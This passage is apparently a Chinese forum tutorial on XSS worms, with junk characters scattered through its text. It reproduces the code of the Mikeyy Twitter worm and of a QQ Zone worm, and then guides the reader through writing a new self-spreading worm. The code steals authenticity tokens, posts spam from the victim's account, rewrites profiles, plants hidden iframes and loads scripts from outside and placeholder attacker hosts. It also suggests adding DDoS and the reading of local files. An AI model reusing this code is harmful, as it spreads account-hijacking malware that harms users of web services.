"&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""]; ; {$ [- [7 _, o# {9 R
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2.
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4 n- K, o) i' U7 N 3. function XHConn(){
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+ |# a/ }3 F2 X( V+ ?2 W6 f 4. var _0x6687x2,_0x6687x3=false; ; k1 I/ M7 s5 {0 Q5 @
4 t$ m7 v% u) ]
5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }
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6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); } % E! C6 | ]9 V4 l" n
$ r3 E& @: ?; h6 F" g1 }1 H 7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); }
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8. catch(e) { _0x6687x2=false; }; }; }; 0 v; S) P2 D: K- n6 {
复制代码第六版: 1. function wait() {
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2. var content = document.documentElement.innerHTML;
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3. var tmp_cookie=document.cookie;
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4. var tmp_posted=tmp_cookie.match(/posted/);
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0 P* j; _3 T! z2 O- f: S) w. A 5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
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/ o3 u5 x6 M$ d, _ 6. var authtoken=authreg.exec(content); ; ]/ F4 g8 i! q% c& Z- O9 b
+ @# Q- x/ t' N6 k* Z
7. var authtoken=authtoken[1]; 5 y6 a1 W1 F. Q
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8. var randomUpdate= new Array(); - _/ f3 J. m4 _
$ I$ V( z% `/ J W1 X8 o 9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy."; # t) ^+ Q& O( C
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10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy."; ( [7 Q2 b' b" s
7 |: p4 i8 p. M+ Q' [6 S/ k8 |3 w 11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
5 J9 q% j6 ]7 K
4 C8 X( E0 b4 A; N 12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy."; 2 n2 t" t9 T( l u
8 m3 \2 B4 [& C5 a6 t 13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy."; $ o* `% I6 e0 ]% {" i6 z
* n# `! P" c7 H" E 14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy."; # X3 Q* ^* X, f5 j) w
" x( U0 {9 T L2 C
15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy."; 5 z6 F6 U; o1 V
+ H6 f% {& }+ Z3 j! @. E0 B 16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";
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9 j" \- y7 d y, S; V- `8 B 17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";
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/ ^3 n( A5 t6 I. X- } 18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy."; 1 |& j+ O/ Y! t0 s' h
- u/ y6 m% |3 W. ?, ^+ }% C3 i$ t 19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy."; ( y- S4 G4 E) `* r3 W
1 s, |0 s1 B7 X. [ 20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy."; 6 h! C0 H6 ?8 W9 k) V
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21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe"; $ Z$ h# {1 K# m
2 [$ g: D! L/ @! ^ 22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF"; + B! |/ g" {: ?9 U
: ?/ A1 w- A' L2 U
23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";
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3 @& y( `5 g6 d, a% B 24. 8 a8 y' R/ L: j6 ]5 M0 N0 O& g% B
2 s4 ]* n% j, [& k 25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)]; ' j8 h1 a" @# B5 Y
! L9 W7 y- `1 m% L& T" n2 X, T 26. var updateEncode=urlencode(randomUpdate[genRand]); 8 k& v7 [4 Y% ]+ Y& U
) D0 u% t5 I' `2 \, q+ x* J8 ~/ M3 O 27.
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28. var ajaxConn= new XHConn(); & e% e3 W& b8 |; j, q* `+ x# O- A6 ^
; y8 b, o, [" Z9 t) x7 Y
29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true"); 6 |$ d7 Z) V# E6 o* e+ v& V- O* a
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30. var _0xf81bx1c="Mikeyy";
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31. var updateEncode=urlencode(_0xf81bx1c);
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32. var ajaxConn1= new XHConn();
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8 V% L+ w5 s& Z0 u! L& F 33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");
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34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333"; , m1 A6 P; [' [6 | T; G" h
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35. var XSS=urlencode(genXSS); , C4 p- @. i! f; s( G' `+ J
8 g) C& x q- ~7 }
36. var ajaxConn2= new XHConn();
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9 w5 P @8 n3 G# f8 Q( | 37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes"); 2 _! i( q Z9 t4 W+ E
$ g; C) o. _! h1 Z 38.
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' ~; F) `) |( }6 x5 i 39. } ; ) M( v" S* W2 T
' M$ \6 y. Y6 r) c, I1 B 40. setTimeout(wait(),5250); 0 w& N2 @1 {- H, A* w( s8 @4 f
复制代码QQ空间XSSfunction killErrors() {return true;}
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window.onerror=killErrors;
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6 E& y# g3 W! Q" t" {var shendu;shendu=4;4 x$ Z# r2 c0 V* G- ~5 f
7 `* N. p" Z- u) V2 C5 y& \//---------------global---v------------------------------------------
% ?" ]- y ], W' y
s. V/ \4 N( W. b! n//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?: {/ O/ R: a. m% x
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var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
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var myblogurl=new Array();var myblogid=new Array();( ]. u9 g1 r/ w+ ~
3 J6 G3 h+ b% U! X# o var gurl=document.location.href;% C" P, Q/ ]# P8 X
3 V6 i% C9 J4 ^& W; ~) z' _ var gurle=gurl.indexOf("com/");9 D* ~# K! y. ?$ p0 y2 D
3 z; o+ s% \' R, y0 ]7 @! O% s$ k gurl=gurl.substring(0,gurle+3);
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9 g/ p3 D5 w0 `; b. Q" t. R2 u var visitorID=top.document.documentElement.outerHTML;: K- [/ H3 `- L' l$ T* j1 x) `3 }
% B& C; U0 f3 J( \: R var cookieS=visitorID.indexOf("g_iLoginUin = ");
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" V4 }7 B. ^* v visitorID=visitorID.substring(cookieS+14);
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+ }1 _( D6 a& ~- ^* l cookieS=visitorID.indexOf(",");* @' m- L' A& y& D
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visitorID=visitorID.substring(0,cookieS);8 m5 K: y( b: G" |0 z; M: E7 v
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get_my_blog(visitorID);
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* _/ V' J9 A* D8 C( f( m K DOshuamy();
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1 {. l. Q2 ]0 G' A6 ^; p; W! w
//挂马+ z! k1 l- `: j0 L( h
) K! d6 M8 p/ q Sfunction DOshuamy(){, z/ G) T+ `9 d! K
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var ssr=document.getElementById("veryTitle");5 k$ i" m1 s7 [$ c/ b
* X2 D$ A a, P- L4 w7 G% lssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");4 I# f% D4 e5 [4 k. k* ~6 G* f" ~
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//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?
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# }- C# ]0 T: ^# zfunction get_my_blog(visitorID){; }! }% Q! t( I: _2 P
4 r" a: r P2 y7 a3 s. i1 M userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
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xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象# E5 ]4 E# s5 x7 ~7 Q) g( |8 {
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if(xhr){ //成功就执行下面的' u+ i& }7 _, g- Z
: m/ }; K g( p Y: y+ _6 I2 p xhr.open("GET",userurl,false); //以GET方式打开定义的URL
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4 E2 H6 w& z3 a3 N$ J$ h xhr.send();guest=xhr.responseText;$ X, H) I9 v7 D- {
! n; Z' J8 j, \0 ` get_my_blogurl(guest); //执行这个函数
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}
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//这里似乎是判断没有登录的* |1 u5 \ o" y* @7 x; b
2 b4 k' b T: `1 S8 x" \' S3 rfunction get_my_blogurl(guest){
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var mybloglist=guest;% a% E& s& V0 i; |& n q
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var myurls;var blogids;var blogide;
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for(i=0;i<shendu;i++){
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myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了
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if(myurls!=-1){ //找到了就执行下面的
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mybloglist=mybloglist.substring(myurls+11);) i$ Q$ c# p/ H- m7 l9 V
& x t# b+ J$ `! d: W% f myurls=mybloglist.indexOf(')');3 d. t) N( j9 c" j2 c! i
# Q" }' o0 I5 C: X myblogid=mybloglist.substring(0,myurls);* W# m; F+ ^( _7 q9 T1 h
, M# b; R# H' k }else{break;}
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) |; S1 L! Y, l) L' hget_my_testself(); //执行这个函数
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+ [( N: S5 K3 `% P4 O( _+ z! A, G5 I0 Q# q/ V
* a. }9 s0 L* u7 x//这里往哪跳就不知道了/ R/ E2 ~* V. M7 U
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function get_my_testself(){
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for(i=0;i<myblogid.length;i++){ //获得blogid的值
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var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();' p) Q$ S: Y& t
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var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象
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& _! b# E+ X! y' |8 ] if(xhr2){ //如果成功7 q0 _* v o, p6 z; k" W+ y
; I+ z! R# E6 g1 b4 V/ e1 _; Q. u xhr2.open("GET",url,false); //打开上面的那个url: k% b! |* W% z, I7 `
" r, G6 |9 J6 P2 K- ?' ]3 o; W4 r
xhr2.send();
- y' E% y; O5 }; ^3 m4 ~1 K3 K' ], g
guest2=xhr2.responseText;' O8 e% B3 i, q# C- E3 k
9 E' `- d; f. H3 A# m4 i/ s
var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?# X9 O) c( O3 E! p
, t- }1 {9 N! Y( K+ L var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
0 W i2 h$ R- A w6 K3 d( R/ p% o5 ^* e/ G: }5 y5 q
if(mycheckmydoit!="-1"){ //返回-1则代表没找到" x( P) O& R) e. {# c. l6 D* R6 K
" B' f; t7 I ~ targetblogurlid=myblogid; 1 q, I. ^% b F# W8 ]
K ?4 H' b8 {' x4 V: f2 g" Z) R
add_jsdel(visitorID,targetblogurlid,gurl); //执行它/ {& _! Y4 J! N F4 [
" k; I9 l- I, U7 g# \
break;
3 d0 J$ D9 \5 `2 l7 W# H4 X O$ o4 G6 P
}6 J+ b5 w0 ?; p& _* g9 n5 A
8 O: g. K$ e0 s* h; g9 { if(mycheckit=="-1"){
# x( i* Y W8 e8 O0 I; ]( u! L6 q% x6 y) x7 l. ?: g6 F
targetblogurlid=myblogid;
" g; _, G8 |) i( i4 x, w
5 D" m6 w8 ^4 o, E8 m* u2 W3 w6 { add_js(visitorID,targetblogurlid,gurl); //执行它
! X1 Z& j i/ P7 L2 H
$ l: i! C; {% S+ V break;
& @% e8 x# `# K/ B* ~+ x0 ]+ }" L7 _6 _2 H% m" E
}% I7 c4 Y3 s; h6 r5 J
" m0 y* z+ h) e2 Z8 N }
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}4 p4 B* f5 U- [3 E3 Y7 |8 F1 [
* e' N' \2 n8 @, S; G( r* S
}
: E. G( s. A+ J$ {7 ~; D3 w: E# Z! }! S0 e
, Z: E" i3 z# V2 y6 u
/ F& M. w; ?% q7 E0 a( `//--------------------------------------
; t) m# ~& m1 H
% R- L, y# t7 C! G//根据浏览器创建一个XMLHttpRequest对象
* v, C1 _% ?$ P1 ?4 y# X3 z, U. n0 O/ q: x. t$ b/ V3 m
function createXMLHttpRequest(){% m8 Y( j4 f; v7 k* V
; \# \' Y' L4 g5 H6 a) _) z3 c
var XMLhttpObject=null; 6 @, \6 P* \3 E2 |% n/ X. ?+ T3 E7 I
1 _5 r! B. ?" O# U- L8 o3 ^4 a
if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}
+ {" G- e' l [9 b6 x9 p0 n1 g; l3 I
else 1 U. a) S \8 f
0 G$ t# g1 B3 K( p- ~1 D { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP']; 2 d$ D) V( C4 U, f% g! X
# U( l- @( V& E- [% S- | for(var i=0;i<MSXML.length;i++)
4 ]# y; {' x* i8 V* `1 X4 l# _4 w& P, N2 z3 b$ M V" l
{
% R J: N' C8 d5 p$ e7 l+ H( P2 [
' x- s, d, a' Q, c try - V+ p k0 H& P k6 W4 y6 X8 ?
7 E0 I3 Z [6 z4 H
{
s% L2 k7 k% V* a- _ R
1 ?; R' V9 C1 G" ^2 f9 Q& [ [2 u XMLhttpObject=new ActiveXObject(MSXML);
2 t6 Y. P0 M) N N* M' M, _& m
* T& s! x- S1 z5 X# w4 x break; % b8 S( F7 f. u* m9 }( N7 M$ I- C4 q
! ?2 s2 ]1 P) l" }. |2 d } 0 t: C4 Q$ T5 G1 K6 }5 V. [
]. w0 r! U- w+ ~) x6 n# N catch (ex) { # j, L+ i+ k, u" ]% U
5 m& `1 v+ X! s! P% _' C& t4 Z
}
s# W% L' E- Y# h2 ^0 W% A- m$ B# |
} e! K4 A8 \' f& y. f3 j
7 j+ b. w. G& \8 t2 E \ }4 \8 e1 ?; b% t2 d6 g' n
; f5 T# C8 c# p% `( q0 R$ H
return XMLhttpObject;& `. o1 e% q0 n# H1 w: q; g+ v7 S
2 y7 s' M. I$ A( J& [} + s4 V/ p& \2 G1 t6 U1 c) d
- N) P* {8 E4 U% C6 Q+ [! m1 w
& Z+ q9 v& p; B, i) b U) k
! c9 P. Z5 E$ I//这里就是感染部分了5 d" n6 z D- T8 ]: E3 b, \9 U
& F: \2 _+ e" U
function add_js(visitorID,targetblogurlid,gurl){
2 P) s# x u7 @/ |* n1 Z+ T4 F3 y+ h2 G& Q: k2 ^7 M
var s2=document.createElement('script');
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s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
5 k5 t4 {& E3 f u; P n; F; g) x9 K5 }% L) H4 Z
s2.type='text/javascript';
+ |& |* j4 ~5 o* H5 O0 x4 N% T6 l4 U3 M5 d o* ?9 p
document.getElementsByTagName('head').item(0).appendChild(s2);, z9 G* T8 v$ b/ M
% z' T8 e+ }! }
}
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) Y3 y' o1 h( E5 [) |4 K0 i
/ p% o' h, c+ D1 z. q: Mfunction add_jsdel(visitorID,targetblogurlid,gurl){9 y$ I4 P) g+ \! x2 C/ b
7 w( O$ o/ _& E
var s2=document.createElement('script');
- \6 a. {4 o. d( K3 P2 @) p8 O: f! N7 j, }- t
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
7 _" ]# y: t1 Y( G: T6 j+ A8 [9 ]+ G- |
s2.type='text/javascript';' u1 `) Y. l# a
, b* k0 Z4 u( M2 hdocument.getElementsByTagName('head').item(0).appendChild(s2);* h0 t6 ]6 ?! [
7 T0 |0 Q: z& B9 G7 h# J# Y, l* K
}
& k. Y9 _+ M& u0 e2 u2 ? `7 C' S复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
3 w# e$ ?3 ^0 T% U' `7 [1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
# M/ J2 u8 T- K9 B. J# e8 s3 _5 E* \* J2 J
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)0 L+ @& s! w8 ~7 M, r: E3 t+ ]" z
9 ^; e: O7 c8 U) O/ P综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~/ `. ?- D C0 F6 {/ \, t
" }9 r4 d t* v3 M- m |8 g
. C& I+ j- G; e( i) S下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.2 a, g" u% P1 _, ~% y$ T* x q5 B* U
' Z4 U q" V" [# o' T \
首先,自然是判断不同浏览器,创建不同的对象var request = false;* b* }1 G7 |& r8 q( B
) `# n9 M8 z+ [# u+ K6 H3 s
if(window.XMLHttpRequest) {
2 [ p# f) a6 U8 d1 y
4 I, W- n0 r. |: I/ L9 I/ j1 e% j( Grequest = new XMLHttpRequest();
, _; G- y. L- ^/ ?8 r. N7 ]6 r L7 }+ x
if(request.overrideMimeType) {
, _# r1 N, \8 h& Y, m/ R7 g5 u3 J1 R
request.overrideMimeType('text/xml');4 r4 c+ v- z3 Z- d7 F L
2 b% J6 q5 G f: w% a/ t) O}
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} else if(window.ActiveXObject) {
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP']; t) c$ @7 z7 f- L+ @, _2 d" W" X1 ^
3 p" R1 x- V) m8 L* t
for(var i=0; i<versions.length; i++) {; w0 m! l9 f, R" g5 M5 x1 m
7 b7 E, V3 q( g- ~
try {
7 N) Q" W' z& I7 L7 Q3 J& c$ D
9 `+ z9 f* J2 g* crequest = new ActiveXObject(versions);: M; T3 g% U; D- m9 [
$ n# _! l& n& M; \} catch(e) {}
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}
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1 N! J# G$ R5 i' I, m}
- K8 w% Y6 v9 n# l* F
/ a. W) j/ s, ~xmlHttpReq=request;
) Y" e2 A0 a3 v, G# {/ X复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){1 |) G$ X5 d: s+ J. Y7 @
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var Browser_Name=navigator.appName;
2 B& A3 v% S x- Y3 w% S& S! U" S: `, R% q% F
var Browser_Version=parseFloat(navigator.appVersion);; Y. s# _$ Q' `- f
y( E' I/ J" Y* ~$ ]$ {. j( k$ H var Browser_Agent=navigator.userAgent;! D9 S4 L, z9 l* F
" Y" \& k1 U' z. b+ M' n1 z6 D% X # y# |4 P4 G6 r7 [+ I) s' h8 g* P
6 ~6 {8 H5 | Y* j! R var Actual_Version,Actual_Name;
7 H" `9 X) k* M# `- u6 k- m. f9 Q/ o( v, [, ^7 S3 N' H
: Y4 W5 l1 G, i- ?
! U" ]2 \+ h4 f% h7 j0 y! ] var is_IE=(Browser_Name=="Microsoft Internet Explorer");
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var is_NN=(Browser_Name=="Netscape");
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var is_Ch=(Browser_Name=="Chrome");) X0 J, O1 w M8 s4 @& Z3 [8 P
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+ p3 S8 ]+ }( u7 A0 F
# p- c* K O6 B& t if(is_NN){
$ y/ D# M2 {1 s5 t# |3 b: f
( L( U$ x! @+ J$ u, A2 J& T if(Browser_Version>=5.0){
+ V( q! G& i! G. c. z1 s. H/ A) \0 }# ~- i* r% i
var Split_Sign=Browser_Agent.lastIndexOf("/");) E9 e0 _) c8 A1 M! E
, t- `6 l- {- }) f# a
var Version=Browser_Agent.indexOf(" ",Split_Sign);# D+ m& c- | B& s }
2 s& A! W/ O1 ^1 ]5 o
var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
& J4 Y& x* P* H5 M) I( r: ~
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1 ]& ]0 v# K- ~) r4 x/ C" ?8 b5 i. k. w' {/ h
Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);+ ^7 x! @/ L! R. g
- _9 T0 U* q4 F" ?: ~
Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
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$ z4 f8 h/ g }, X9 e& `' q else{
+ I" ?2 D' k) C( ~$ F
, e) m, O8 \: a9 j+ f Actual_Version=Browser_Version;
t/ ^/ e' P2 W4 e! u! Y$ m5 T* [( B" s, p
Actual_Name=Browser_Name;& r, I7 C1 O" C6 {6 a& G' m1 g9 m
+ X6 J0 R3 p ~0 i. h
}; ~$ S0 V9 M! |
2 ~% I( {$ g7 E2 v; m }
/ H$ @8 W) H! v. B
" G. m* S. u. `5 C0 S else if(is_IE){
2 `2 b f! d& v; z- a$ l; S: }0 H4 @6 s9 M t' X- X
var Version_Start=Browser_Agent.indexOf("MSIE");
0 |" E; U; m* q) P/ ^$ ]; ^; p6 s& D# U% W* g% {
var Version_End=Browser_Agent.indexOf(";",Version_Start);
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5 I, A, k4 e: w0 { Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
+ e4 P; _5 t" s! p6 ?
2 p% t2 V3 w u" [* G, [& u Actual_Name=Browser_Name;
, c/ H9 D' d, i+ s
9 d9 m7 m& J. U! A ) O8 w7 y: H' b. }( o7 K/ h5 ]' E- h
* V. f+ K6 d2 M1 v
if(Browser_Agent.indexOf("Maxthon")!=-1){' u& L7 V A7 m( j+ ^
( Z; d) g, C# |
Actual_Name+="(Maxthon)";7 y" R$ p; h) _0 ?" i
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! V5 \5 S }, k( f) m
else if(Browser_Agent.indexOf("Opera")!=-1){! z% r; g: Y# F4 Y4 W; g
' n- S5 X8 C" e Actual_Name="Opera";
; Z, K% G- j1 v2 F. ~* f ~0 O
, `* M$ p: g* n& q' H) p; l var tempstart=Browser_Agent.indexOf("Opera");0 z9 O; |* {5 a" D% S; e1 ]* L
$ Z1 Z$ k4 e; X! J
var tempend=Browser_Agent.length;3 x8 c& U E8 _2 s# G% D/ \
5 r! ^2 k) v: R2 s
Actual_Version=Browser_Agent.substring(tempstart+6,tempend)) P. Y/ {" v+ w$ ]
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9 x4 M. [' @8 d- y }
7 J5 V4 \( _# {$ f, I4 ?, @* ~0 Z+ G3 X% g% @, u [( S7 y# u! w" J
else if(is_Ch){' |1 K7 |- `* |0 c1 J
8 j2 `0 c) ^- c- ^9 W1 F' o
var Version_Start=Browser_Agent.indexOf("Chrome");
6 f' Q ?% w9 z9 c0 m/ {, t+ C4 F5 s5 k5 }8 {1 q$ e [
var Version_End=Browser_Agent.indexOf(";",Version_Start);
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Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
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Actual_Name=Browser_Name;
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" I9 c: D* g2 n* I+ l4 W* S! n
5 E6 ^" l3 V( W- u3 ^
# f! k- ]9 t; w' h/ v if(Browser_Agent.indexOf("Maxthon")!=-1){
" W2 e, E- T9 E5 l/ C
+ C- \9 j, \6 M Actual_Name+="(Maxthon)";: c/ Z6 J; O: K) F4 D2 B4 M
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, t/ a7 z1 q' n/ z! I) J4 A5 [0 Z. W0 s0 t# j# \% O9 O
else if(Browser_Agent.indexOf("Opera")!=-1){. Z& y, c; f, V" O
8 x# N& A, r7 h5 S4 u! @, |2 Y
Actual_Name="Opera";: @$ D8 @% i7 s; d! g
$ \' S* d }- d* d var tempstart=Browser_Agent.indexOf("Opera");
* q: b5 J& I4 Z* L0 l2 n
7 ?0 E7 C7 R6 T var tempend=Browser_Agent.length;
5 Q, F% q9 A4 i$ Z! Y
" n4 R' q y) U$ ?$ m Actual_Version=Browser_Agent.substring(tempstart+6,tempend)) h4 v2 t8 D' N( H% {
& i; D; ^; f, W3 O T
}7 g+ F4 n# U- L$ [: K
- ~$ [, `% h! d9 c/ r, I1 ~1 U4 Y
}: P- a: c+ d4 f8 S
# k F0 s3 Y4 M% T: u else{
5 T1 a( L6 H, {4 t u+ e4 l S; ^% E Y0 c
Actual_Name="Unknown Navigator"- C1 j b, @ c) M2 [; f. M* H
" A6 v! [% r$ f5 o& C. S R* u( l Actual_Version="Unknown Version"
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}% P" n; _* z4 H3 @) o" P
) b) C7 `* W K$ _1 Q
$ R3 P9 U" O; ]! r) @
5 z/ X' ~6 Q# W1 T5 ~" n' o4 a; v
navigator.Actual_Name=Actual_Name;
+ V7 v0 J" |: m! f- w3 I. A
6 T- Y* X, U" x! C0 T7 x% s navigator.Actual_Version=Actual_Version;) I) |& w2 ]/ O4 c. S
0 ^8 ]. ~$ F7 m# M y. i
! q8 R g2 Q8 N- X4 j5 B$ Y1 p* Y5 c6 X$ A2 p8 ]
this.Name=Actual_Name;
: j# b2 w' f" i& |1 G7 A$ E3 x* A- p) ^* `0 k! F" i
this.Version=Actual_Version;& n; F& K+ x7 F
A5 h1 P- O" @: w H, t+ ^% G. V }1 X3 r+ m* b4 g; G4 g; N* h K
2 K0 e/ T' J6 _" T' |* E0 o+ _7 d
browserinfo();
8 c+ P( L. R0 @. h" F1 H+ H4 S3 f) r/ _& _, [3 N& u& U
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}* w6 ?& c/ Z' Q1 Q m U
0 K$ t/ z: _3 t$ I4 \; r5 b if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}6 F$ e/ R- S* W/ K1 y" z5 ~5 c
) B: O! Z; Z* T
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}( i) t" w; G8 l) |
+ l# `1 P7 v$ o. x
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
$ ~- D; x% X. z" d0 }. u( T+ C7 t复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
! J1 D" N5 N5 s% {' ` K. ?. B复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
$ _0 l) I* r' k" B, A6 G复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.
2 V- @' j+ A8 R- @5 J5 T C* v6 M0 A
xmlHttpReq.send(null);+ U* p; F- e+ b8 d' j3 e8 }. N
5 y! K7 O" T+ k" _# I
var resource = xmlHttpReq.responseText;, N- T; t# Y7 z! ~+ F. M/ X
* {- R& U2 C; `' J0 {
var id=0;var result;
! D! d$ Q; Q! T8 R+ T$ T- P
D7 g2 x0 T/ b" L9 _var patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
+ u& P$ k$ t& a8 i1 @, R# n8 v3 P/ }1 ?
" V7 b) |! Y: ~' [- W: p% D' V7 P) bwhile ((result = patt.exec(resource)) != null) {$ Q! ~! q4 f# a) M
0 j$ r$ A# J* Y9 M. B) j8 m
id++;
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}9 P4 C" G7 x- s2 |* h
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.4 |9 o0 B9 Q4 |' E
8 j1 V. n$ `- l+ o+ H' y/ }9 w+ O
no=resource.search(/my name is/);* [, @; W( ? ]8 D0 q
6 V5 z/ Q) G: s$ M3 }! h
var wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.1 b% R+ d# C' ^! c
3 h5 p. V: s; w4 g& Tvar post="wd="+wd;/ F" m6 b& x9 @; q8 s' o
/ b& s5 K: P1 A: z+ E8 c( g4 U
xmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.& n1 x5 b5 i) J9 \
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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xmlHttpReq.setRequestHeader("content-length",post.length);
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1 s4 K2 \- N: ^# xxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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xmlHttpReq.send(post);0 Q) M6 F$ D& f* g7 c
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}
- Z" M+ Y+ F# B2 e复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{5 Z0 U( ~- d! x6 a* t
$ M k% ^5 Y1 l7 Bvar no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方' n! O1 Q$ O" X$ b
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var namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得." R/ |, ]' ~ N& e5 U; Y7 l7 Q
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var wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
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var post="wd="+wd;
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xmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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xmlHttpReq.setRequestHeader("content-length",post.length); ' U- n, l# a; ]4 |% M
